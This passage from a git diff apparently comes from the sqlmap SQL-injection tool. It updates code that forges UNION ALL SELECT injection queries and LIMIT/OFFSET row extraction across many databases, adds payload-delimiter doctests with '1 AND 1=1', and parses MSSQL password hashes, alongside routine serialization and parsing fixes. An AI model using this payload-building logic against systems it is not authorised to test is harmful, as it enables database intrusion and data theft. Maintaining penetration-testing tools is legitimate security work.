(kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER, DBMS.HANA): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -822,9 +894,9 @@ def concatQuery(self, query, unpack=True): return concatenatedQuery - def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): + def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None, collate=False): """ - Take in input an query (pseudo query) string and return its + Take in input a query (pseudo query) string and return its processed UNION ALL SELECT query. Examples: @@ -864,10 +936,21 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, if query.startswith("SELECT "): query = query[len("SELECT "):] + # On MySQL 8+ the retrieved value (connection collation) cannot be merged in a + # UNION column with a table column of a different collation (e.g. utf8mb4_0900_ai_ci), + # raising "Illegal mix of collations". Normalizing the charset and forcing an explicit + # collation (highest coercibility) wins the merge (Note: skipped for NULL/numeric values). + # Note: requires the utf8mb4 charset (MySQL >= 5.5.3) used in MYSQL_UNION_VALUE_CAST; on + # older versions there is no such collation clash to begin with (unknown version => assumed recent). + collateField = collate and Backend.isDbms(DBMS.MYSQL) and isDBMSVersionAtLeast('5.5.3') is not False + + def _collate(value): + return MYSQL_UNION_VALUE_CAST % value if collateField and value and value != NULL and not value.isdigit() else value + unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix) if limited: - unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count)) + unionQuery += ','.join(char if _ != position else _collate('(SELECT %s)' % query) for _ in xrange(0, count)) unionQuery += fromTable unionQuery = self.suffixQuery(unionQuery, comment, suffix) @@ -897,12 +980,22 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, else: infoFile = None + if not infoFile: + query = _collate(query) + + # A fuzzy-discovered per-column type template (kb.unionTemplate, e.g. ['1234', '%s', '5678']) + # forces type-compatible fillers on strict DBMSes (e.g. Apache Derby, which rejects bare NULL + # and demands UNION column-type parity); '%s' marks the slot carrying the injected expression. + template = kb.unionTemplate if isinstance(kb.unionTemplate, (list, tuple)) and len(kb.unionTemplate) == count else None + for element in xrange(0, count): if element > 0: unionQuery += ',' if conf.uValues and conf.uValues.count(',') + 1 == count: unionQuery += conf.uValues.split(',')[element] + elif template is not None: + unionQuery += query if template[element] == "%s" else template[element] elif element == position: unionQuery += query else: @@ -924,8 +1017,10 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, if element > 0: unionQuery += ',' - if element == position: - unionQuery += multipleUnions + if template is not None: + unionQuery += _collate(multipleUnions) if template[element] == "%s" else template[element] + elif element == position: + unionQuery += _collate(multipleUnions) else: unionQuery += char @@ -950,8 +1045,14 @@ def limitCondition(self, expression, dump=False): else: limitRegExp2 = None + # DBMSes whose paging is a simple appended "LIMIT ... OFFSET ..." (limitQuery '% (1, num)' group, + # limitregexp 'query2' for a bare LIMIT, groupstart=2/stop=1): a user-supplied LIMIT must be parsed + # AND stripped here, else limitQuery appends a SECOND LIMIT (e.g. '... LIMIT 3 LIMIT 1 OFFSET n' on + # ClickHouse) and per-row extraction (blind/error) reads bogus offsets - only UNION was unaffected. + limitOffsetAppendDbmses = (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.SPANNER, DBMS.HANA) + if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2): + if Backend.getIdentifiedDbms() in limitOffsetAppendDbmses: limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query @@ -961,7 +1062,9 @@ def limitCondition(self, expression, dump=False): stopLimit = limitRegExp.group(int(limitGroupStop)) elif limitRegExp2: startLimit = 0 - stopLimit = limitRegExp2.group(int(limitGroupStart)) + # Note: query2 (LIMIT without OFFSET) always has exactly one group (the + # count); using limitGroupStart here would IndexError for H2 (groupstart=2) + stopLimit = limitRegExp2.group(1) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): @@ -991,7 +1094,7 @@ def limitCondition(self, expression, dump=False): # From now on we need only the expression until the " LIMIT " # (or equivalent, depending on the back-end DBMS) word - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): + if Backend.getIdentifiedDbms() in limitOffsetAppendDbmses: stopLimit += startLimit if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0: _ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) @@ -1045,7 +1148,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr - elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): + elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER, DBMS.HANA): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) limitedQuery += " %s" % limitStr @@ -1063,7 +1166,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0] for part in original.split(','): if re.search(r"\b%s\b" % re.escape(field), part): - _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1) + _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, count=1) replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num) limitedQuery = replacement break @@ -1114,7 +1217,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitedQuery = safeStringFormat(limitedQuery, (fromFrom,)) limitedQuery += "=%d" % (num + 1) - elif Backend.isDbms(DBMS.MSSQL): + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): forgeNotIn = True if " ORDER BY " in limitedQuery: @@ -1226,6 +1329,9 @@ def addPayloadDelimiters(self, value): def removePayloadDelimiters(self, value): """ Removes payload delimiters from inside the input string + + >>> agent.removePayloadDelimiters(agent.addPayloadDelimiters("1 AND 1=1")) == "1 AND 1=1" + True """ return value.replace(PAYLOAD_DELIMITER, "") if value else value @@ -1233,6 +1339,9 @@ def removePayloadDelimiters(self, value): def extractPayload(self, value): """ Extracts payload from inside of the input string + + >>> agent.extractPayload("prefix" + agent.addPayloadDelimiters("1 AND 1=1") + "suffix") == "1 AND 1=1" + True """ _ = re.escape(PAYLOAD_DELIMITER) @@ -1257,7 +1366,10 @@ def whereQuery(self, query): if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None: prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), "" else: - match = re.search(r" (LIMIT|ORDER).+", query, re.I) + # Note: require a genuine trailing clause (ORDER BY / LIMIT word-bounded), so a + # column/identifier merely starting with "order"/"limit" (e.g. order_id) is not + # mistaken for the suffix and the WHERE is not spliced into the wrong place + match = re.search(r" (ORDER\s+BY\b|LIMIT\b).+", query, re.I) if match: suffix = match.group(0) prefix = query[:-len(suffix)] diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 7e33524b8d4..5a833a9e715 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -5,11 +5,6 @@ See the file 'LICENSE' for copying permission """ -try: - import cPickle as pickle -except: - import pickle - import itertools import os import shutil @@ -86,7 +81,7 @@ class BigArray(list): >>> _[0] = [None] >>> _.index(0) 20 - >>> import pickle; __ = pickle.loads(pickle.dumps(_)) + >>> import copy; __ = copy.deepcopy(_) >>> __.append(1) >>> len(_) 100001 @@ -151,16 +146,33 @@ def pop(self): with self._lock: if not self.chunks[-1] and len(self.chunks) > 1: self.chunks.pop() + filename = self.chunks[-1] + idx = len(self.chunks) - 1 + + if self.cache and self.cache.index == idx and self.cache.dirty: + self.chunks[-1] = self.cache.data + self.cache.dirty = False + else: + from lib.core.convert import deserializeValue + try: + with open(filename, "rb") as f: + self.chunks[-1] = deserializeValue(zlib.decompress(f.read())) + except IOError as ex: + errMsg = "exception occurred while retrieving data " + errMsg += "from a temporary file ('%s')" % ex + raise SqlmapSystemException(errMsg) + try: - filename = self.chunks[-1] - with open(filename, "rb") as f: - self.chunks[-1] = pickle.loads(zlib.decompress(f.read())) self._os_remove(filename) self.filenames.discard(filename) - except IOError as ex: - errMsg = "exception occurred while retrieving data " - errMsg += "from a temporary file ('%s')" % ex - raise SqlmapSystemException(errMsg) + except OSError: + pass + + # Note: the formerly on-disk chunk is now an in-memory list (and its file has been + # removed), so any cache entry still pointing at it is stale; dropping it prevents + # serving outdated data if that chunk index is later re-dumped (e.g. append after pop) + if isinstance(self.cache, Cache) and self.cache.index == idx: + self.cache = None return self.chunks[-1].pop() @@ -191,18 +203,20 @@ def __del__(self): self.close() def _dump(self, chunk): + from lib.core.convert import getBytes, serializeValue try: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY) self.filenames.add(filename) with os.fdopen(handle, "w+b") as f: - f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) + # serializeValue() returns text; encode to bytes for the compressed on-disk chunk + f.write(zlib.compress(getBytes(serializeValue(chunk)), BIGARRAY_COMPRESS_LEVEL)) return filename except (OSError, IOError) as ex: errMsg = "exception occurred while storing data " errMsg += "to a temporary file ('%s'). Please " % ex - errMsg += "make sure that there is enough disk space left. If problem persists, " + errMsg += "make sure that there is enough disk space left. If the problem persists, " errMsg += "try to set environment variable 'TEMP' to a location " - errMsg += "writeable by the current user" + errMsg += "writable by the current user" raise SqlmapSystemException(errMsg) def _checkcache(self, index): @@ -210,25 +224,46 @@ def _checkcache(self, index): self.cache = None if (self.cache and self.cache.index != index and self.cache.dirty): + old_filename = self.chunks[self.cache.index] filename = self._dump(self.cache.data) self.chunks[self.cache.index] = filename + # Note: remove the now-superseded chunk file (mirrors __getstate__); otherwise every + # cross-chunk dirty flush orphans one temp file on disk and in self.filenames + if isinstance(old_filename, STRING_TYPES): + try: + self._os_remove(old_filename) + self.filenames.discard(old_filename) + except OSError: + pass + if not (self.cache and self.cache.index == index): + from lib.core.convert import deserializeValue try: with open(self.chunks[index], "rb") as f: - self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False) + self.cache = Cache(index, deserializeValue(zlib.decompress(f.read())), False) except Exception as ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex raise SqlmapSystemException(errMsg) def __getstate__(self): - if self.cache and self.cache.dirty: - filename = self._dump(self.cache.data) - self.chunks[self.cache.index] = filename - self.cache.dirty = False + with self._lock: + if self.cache and self.cache.dirty: + old_filename = self.chunks[self.cache.index] + filename = self._dump(self.cache.data) + self.chunks[self.cache.index] = filename + + if isinstance(old_filename, STRING_TYPES): + try: + self._os_remove(old_filename) + self.filenames.discard(old_filename) + except OSError: + pass + + self.cache.dirty = False - return self.chunks, self.filenames, self.chunk_length + return self.chunks, self.filenames, self.chunk_length def __setstate__(self, state): self.__init__() @@ -325,8 +360,9 @@ def __iter__(self): if cache_index == idx and cache_data is not None: data = cache_data else: + from lib.core.convert import deserializeValue with open(chunk, "rb") as f: - data = pickle.loads(zlib.decompress(f.read())) + data = deserializeValue(zlib.decompress(f.read())) except Exception as ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex diff --git a/lib/core/common.py b/lib/core/common.py index 61d05edc989..58c93fd37b6 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -13,6 +13,7 @@ import copy import functools import getpass +import hmac import hashlib import inspect import io @@ -26,6 +27,7 @@ import posixpath import random import re +import signal import socket import string import subprocess @@ -49,16 +51,17 @@ from lib.core.compat import cmp from lib.core.compat import codecs_open from lib.core.compat import LooseVersion +from lib.core.compat import RecursionError from lib.core.compat import round from lib.core.compat import xrange -from lib.core.convert import base64pickle -from lib.core.convert import base64unpickle from lib.core.convert import decodeBase64 +from lib.core.convert import deserializeValue from lib.core.convert import decodeHex from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.convert import htmlUnescape +from lib.core.convert import serializeValue from lib.core.convert import stdoutEncode from lib.core.data import cmdLineOptions from lib.core.data import conf @@ -69,8 +72,10 @@ from lib.core.decorators import cachedmethod from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT +from lib.core.dicts import DBWIRE_MODULES from lib.core.dicts import DEFAULT_DOC_ROOTS from lib.core.dicts import DEPRECATED_OPTIONS +from lib.core.dicts import HTML_ENTITIES from lib.core.dicts import OBSOLETE_OPTIONS from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import ADJUST_TIME_DELAY @@ -106,7 +111,6 @@ from lib.core.optiondict import optDict from lib.core.settings import BANNER from lib.core.settings import BOLD_PATTERNS_REGEX -from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import BOUNDED_INJECTION_MARKER from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES @@ -130,7 +134,7 @@ from lib.core.settings import FORM_SEARCH_REGEX from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES from lib.core.settings import GIT_PAGE -from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN +from lib.core.settings import GITHUB_REPORT_PAT_TOKEN from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX from lib.core.settings import HASHDB_MILESTONE_VALUE from lib.core.settings import HOST_ALIASES @@ -175,8 +179,12 @@ from lib.core.settings import SENSITIVE_DATA_REGEX from lib.core.settings import SENSITIVE_OPTIONS from lib.core.settings import STDIN_PIPE_DASH +from lib.core.settings import STRUCTURAL_CLASS_REGEX +from lib.core.settings import STRUCTURAL_ID_REGEX +from lib.core.settings import STRUCTURAL_TAG_REGEX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import TEXT_TAG_REGEX +from lib.core.settings import TIME_OUTLIER_MAD_COEFF from lib.core.settings import TIME_STDEV_COEFF from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNKNOWN_DBMS_VERSION @@ -184,7 +192,6 @@ from lib.core.settings import URLENCODE_CHAR_LIMIT from lib.core.settings import URLENCODE_FAILSAFE_CHARS from lib.core.settings import USER_AGENT_ALIASES -from lib.core.settings import VERSION_COMPARISON_CORRECTION from lib.core.settings import VERSION_STRING from lib.core.settings import ZIP_HEADER from lib.core.settings import WEBSCARAB_SPLITTER @@ -196,7 +203,7 @@ from thirdparty.clientform.clientform import ParseError from thirdparty.colorama.initialise import init as coloramainit from thirdparty.magic import magic -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import collections_abc as _collections from thirdparty.six.moves import configparser as _configparser @@ -624,7 +631,9 @@ def paramToDict(place, parameters=None): if place in conf.parameters and not parameters: parameters = conf.parameters[place] - parameters = re.sub(r"&(\w{1,4});", r"%s\g<1>%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), parameters) + # Note: shield real HTML entities (e.g. & — ’) from being split on the '&'/';' delimiter; + # match a named entity of any length but only when it is a genuine one, so a plain "&word;" still splits + parameters = re.sub(r"&(\w+);", lambda match: "%s%s%s" % (PARAMETER_AMP_MARKER, match.group(1), PARAMETER_SEMICOLON_MARKER) if match.group(1) in HTML_ENTITIES else match.group(0), parameters) if place == PLACE.COOKIE: splitParams = parameters.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER) else: @@ -655,7 +664,7 @@ def paramToDict(place, parameters=None): kb.base64Originals[parameter] = oldValue = value value = urldecode(value, convall=True) value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING) - parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters) + parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value.replace('\\', r'\\'), parameters) except: errMsg = "parameter '%s' does not contain " % parameter errMsg += "valid Base64 encoded value ('%s')" % value @@ -989,7 +998,7 @@ def setColor(message, color=None, bold=False, level=None, istty=None): if bold or color: retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None) - elif level: + elif level and hasattr(LOGGER_HANDLER, "colorize"): try: level = getattr(logging, level, None) except: @@ -1018,7 +1027,7 @@ def clearColors(message): retVal = message - if isinstance(message, str): + if isinstance(message, six.string_types): retVal = re.sub(r"\x1b\[[\d;]+m", "", message) return retVal @@ -1147,8 +1156,11 @@ def readInput(message, default=None, checkBatch=True, boolean=False): return conf.answers for item in conf.answers.split(','): - question = item.split('=')[0].strip() - answer = item.split('=')[1] if len(item.split('=')) > 1 else None + if '=' in item: + question, answer = item.split('=', 1) + question = question.strip() + else: + question, answer = item.strip(), None if answer and question.lower() in message.lower(): retVal = getUnicode(answer, UNICODE_ENCODING) elif answer is None and retVal: @@ -1439,6 +1451,47 @@ def _(match): return retVal +def jsonMinimize(content): + """ + Returns an order-independent canonical "leaf-path" projection of a JSON document, used for + structure-aware response comparison (so key reordering / whitespace / number formatting do + not perturb the comparison ratio, while a changed value or array length does). Returns None + (and only None) when content is not parseable JSON, so callers can fall back to text comparison + + >>> jsonMinimize('{"b": 2, "a": 1}') == jsonMinimize('{"a":1, "b":2}') + True + >>> jsonMinimize('{"a": {"b": 1}}') == '.a.b=1' + True + >>> jsonMinimize('not json') is None + True + >>> jsonMinimize('{}') == '' + True + """ + + lines = [] + + def _walk(obj, path): + if isinstance(obj, dict): + for key in sorted(obj): # sorted keys -> key-order/whitespace immune + _walk(obj[key], "%s.%s" % (path, key)) + elif isinstance(obj, (list, tuple)): + lines.append("%s.__len__=%d" % (path, len(obj))) # length change always registers + for index in xrange(len(obj)): # index kept -> order-sensitive (correct for result sets) + _walk(obj[index], "%s[%d]" % (path, index)) + else: + lines.append("%s=%s" % (path, obj)) # scalar values kept (boolean detection flips values) + + # Note: both json.loads() and the _walk() recursion can hit RecursionError (RuntimeError on + # Python 2) on JSON nested past the interpreter limit; treat that as "not usable" and return + # None so callers fall back to text comparison, rather than crashing the comparison thread + try: + data = json.loads(content) + _walk(data, "") + except (ValueError, TypeError, RecursionError): + return None + + return "\n".join(sorted(lines)) + def parsePasswordHash(password): """ In case of Microsoft SQL Server password hash value is expanded to its components @@ -1461,10 +1514,13 @@ def parsePasswordHash(password): retVal = "%s\n" % password retVal += "%sheader: %s\n" % (blank, password[:6]) retVal += "%ssalt: %s\n" % (blank, password[6:14]) - retVal += "%smixedcase: %s\n" % (blank, password[14:54]) - if password[54:]: - retVal += "%suppercase: %s" % (blank, password[54:]) + if password.startswith("0x0200"): + retVal += "%shash: %s\n" % (blank, password[14:]) + else: + retVal += "%smixedcase: %s\n" % (blank, password[14:54]) + if password[54:]: + retVal += "%suppercase: %s" % (blank, password[54:]) return retVal @@ -1474,6 +1530,8 @@ def cleanQuery(query): >>> cleanQuery("select id from users") 'SELECT id FROM users' + >>> cleanQuery("select a from selected where b='from'") + "SELECT a FROM selected WHERE b='from'" """ retVal = query @@ -1489,10 +1547,11 @@ def cleanQuery(query): if not candidate or candidate.lower() not in queryLower: continue - queryMatch = re.search(r"(?i)\b(%s)\b" % candidate, query) - - if queryMatch and "sys_exec" not in query: - retVal = retVal.replace(queryMatch.group(1), candidate.upper()) + if "sys_exec" not in query: + # NOTE: the leading branch consumes whole quoted parts (hence keeping keyword-alike data + # and case sensitive quoted identifiers intact), while the keyword itself is switched only + # at word boundaries (e.g. 'selected' must not turn into 'SELECTed') + retVal = re.sub(r"(?i)('[^']*'|\"[^\"]*\")|\b%s\b" % candidate, lambda match: match.group(1) or candidate.upper(), retVal) return retVal @@ -1531,15 +1590,16 @@ def setPaths(rootPath): paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") # sqlmap files + paths.CATALOG_IDENTIFIERS = os.path.join(paths.SQLMAP_TXT_PATH, "catalog-identifiers.tx_") paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") - paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') - paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt") + paths.COMMON_PARAMETERS = os.path.join(paths.SQLMAP_TXT_PATH, "common-params.txt") paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_") + paths.BROTLI_DICTIONARY = os.path.join(paths.SQLMAP_TXT_PATH, "brotli-dictionary.tx_") paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml") paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml") @@ -1629,7 +1689,7 @@ def parseTargetDirect(): conf.dbmsPass = details.group("pass").strip("'\"") else: if conf.dbmsCred: - conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':') + conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':', 1) else: conf.dbmsUser = "" conf.dbmsPass = "" @@ -1664,7 +1724,7 @@ def parseTargetDirect(): try: conf.dbms = dbmsName - if dbmsName in (DBMS.ACCESS, DBMS.SQLITE, DBMS.FIREBIRD): + if dbmsName in (DBMS.ACCESS, DBMS.SQLITE): if remote: warnMsg = "direct connection over the network for " warnMsg += "%s DBMS is not supported" % dbmsName @@ -1699,12 +1759,14 @@ def parseTargetDirect(): elif dbmsName == DBMS.ACCESS: __import__("pyodbc") elif dbmsName == DBMS.FIREBIRD: - __import__("kinterbasdb") + __import__("firebirdsql") except (SqlmapSyntaxException, SqlmapMissingDependence): raise except: if _sqlalchemy and data[3] and any(_ in _sqlalchemy.dialects.__all__ for _ in (data[3], data[3].split('+')[0])): pass + elif dbmsName in DBWIRE_MODULES: # our dependency-free pure-python 'dbwire' client covers this DBMS + pass else: errMsg = "sqlmap requires '%s' third-party library " % data[1] errMsg += "in order to directly connect to the DBMS " @@ -1754,7 +1816,17 @@ def parseTargetUrl(): errMsg += "in the hostname part" raise SqlmapGenericException(errMsg) - hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filterNone((re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P\d+))?", urlSplit.netloc).group("port"))) + netloc = urlSplit.netloc + + # Note: strip any URL userinfo ('user:pass@') so it is not mistaken for host:port (as the proxy + # parser already does). Credentials embedded in the URL are NOT applied - '--auth-cred' is the + # supported way to pass HTTP authentication - so warn rather than silently dropping them. + if '@' in netloc: + if not any((conf.get("authType"), conf.get("authCred"), conf.get("authFile"))): + singleTimeWarnMessage("credentials in the target URL are ignored. Use '--auth-cred' for HTTP authentication") + netloc = netloc.rsplit('@', 1)[-1] + + hostnamePort = netloc.split(":") if not re.search(r"\[.+\]", netloc) else filterNone((re.search(r"\[.+\]", netloc).group(0), re.search(r"\](:(?P\d+))?", netloc).group("port"))) conf.scheme = (urlSplit.scheme.strip().lower() or "http") conf.path = urlSplit.path.strip() @@ -1793,7 +1865,8 @@ def parseTargetUrl(): errMsg = "invalid target URL port (%d)" % conf.port raise SqlmapSyntaxException(errMsg) - conf.url = getUnicode("%s://%s%s%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, (":%d" % conf.port) if not (conf.port == 80 and conf.scheme == "http" or conf.port == 443 and conf.scheme == "https") else "", conf.path)) + defaultPort = conf.port == 80 and conf.scheme in ("http", "ws") or conf.port == 443 and conf.scheme in ("https", "wss") + conf.url = getUnicode("%s://%s%s%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, (":%d" % conf.port) if not defaultPort else "", conf.path)) conf.url = conf.url.replace(URI_QUESTION_MARKER, '?') if urlSplit.query: @@ -1832,7 +1905,7 @@ def escapeJsonValue(value): retVal = "" for char in value: - if char < ' ' or char == '"': + if char < ' ' or char in ('"', '\\'): # Note: backslash must be escaped too, otherwise a '\' in the value corrupts the surrounding JSON string retVal += json.dumps(char)[1:-1] else: retVal += char @@ -1846,7 +1919,9 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.]+)+)(\s|\Z)", expression) + # Note: the table-reference group consumes one char / quoted-chunk per repetition ([\w.] not + # [\w.]+) to avoid catastrophic backtracking on a 'SELECT * FROM (' input + match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.])+)(\s|\Z)", expression) if match: infoMsg = "you did not provide the fields in your query. " @@ -1896,19 +1971,21 @@ def getLimitRange(count, plusOne=False): if kb.dumpTable: if conf.limitStart and conf.limitStop and conf.limitStart > conf.limitStop: - limitStop = conf.limitStart + limitStop = min(conf.limitStart, count) # a '--start' beyond the table must not request out-of-range offsets (phantom rows) limitStart = conf.limitStop reverse = True else: if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop: limitStop = conf.limitStop - if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop: + # NOTE: no '<= limitStop' gate - a '--start' past the row count must yield an EMPTY range + # (correctly skipping past every row), not silently fall back to dumping the whole table + if isinstance(conf.limitStart, int) and conf.limitStart > 0: limitStart = conf.limitStart retVal = xrange(limitStart, limitStop + 1) if plusOne else xrange(limitStart - 1, limitStop) - if reverse: + if reverse and len(retVal): # len() guard: a clamped out-of-range '--start' can leave the range empty retVal = xrange(retVal[-1], retVal[0] - 1, -1) return retVal @@ -1939,7 +2016,10 @@ def parseUnionPage(page): entry = entry.split(kb.chars.start)[-1] if kb.unionDuplicates: - key = entry.lower() + # Note: de-dup on the EXACT entry, not entry.lower() - the doubled emission repeats each + # row verbatim, so case-folding here would silently drop genuinely case-distinct rows + # (e.g. 'Admin' vs 'admin'). Force-uppercased pages are already lower-cased before parsing. + key = entry if key not in keys: keys.add(key) else: @@ -1993,11 +2073,15 @@ def getLocalIP(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((conf.hostname, conf.port)) retVal, _ = s.getsockname() - s.close() except: debugMsg = "there was an error in opening socket " debugMsg += "connection toward '%s'" % conf.hostname logger.debug(debugMsg) + finally: + try: + s.close() + except socket.error: + pass return retVal @@ -2027,7 +2111,7 @@ def getFileType(filePath): """ Returns "magic" file type for given file path - >>> getFileType(__file__) + >>> getFileType(paths.SQL_KEYWORDS) 'text' >>> getFileType(sys.executable) 'binary' @@ -2041,7 +2125,9 @@ def getFileType(filePath): desc = getText(desc) if desc == getText(magic.MAGIC_UNKNOWN_FILETYPE): - content = openFile(filePath, "rb", encoding=None).read() + _ = openFile(filePath, "rb", encoding=None) + content = _.read() + _.close() try: content.decode() @@ -2215,7 +2301,8 @@ def safeStringFormat(format_, params): match = re.search(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", retVal) if match: try: - retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count % len(params)], retVal, 1) + _ = getUnicode(params[count % len(params)]) + retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % _.replace('\\', r'\\'), retVal, count=1) except re.error: retVal = retVal.replace(match.group(0), match.group(0) % params[count % len(params)], 1) count += 1 @@ 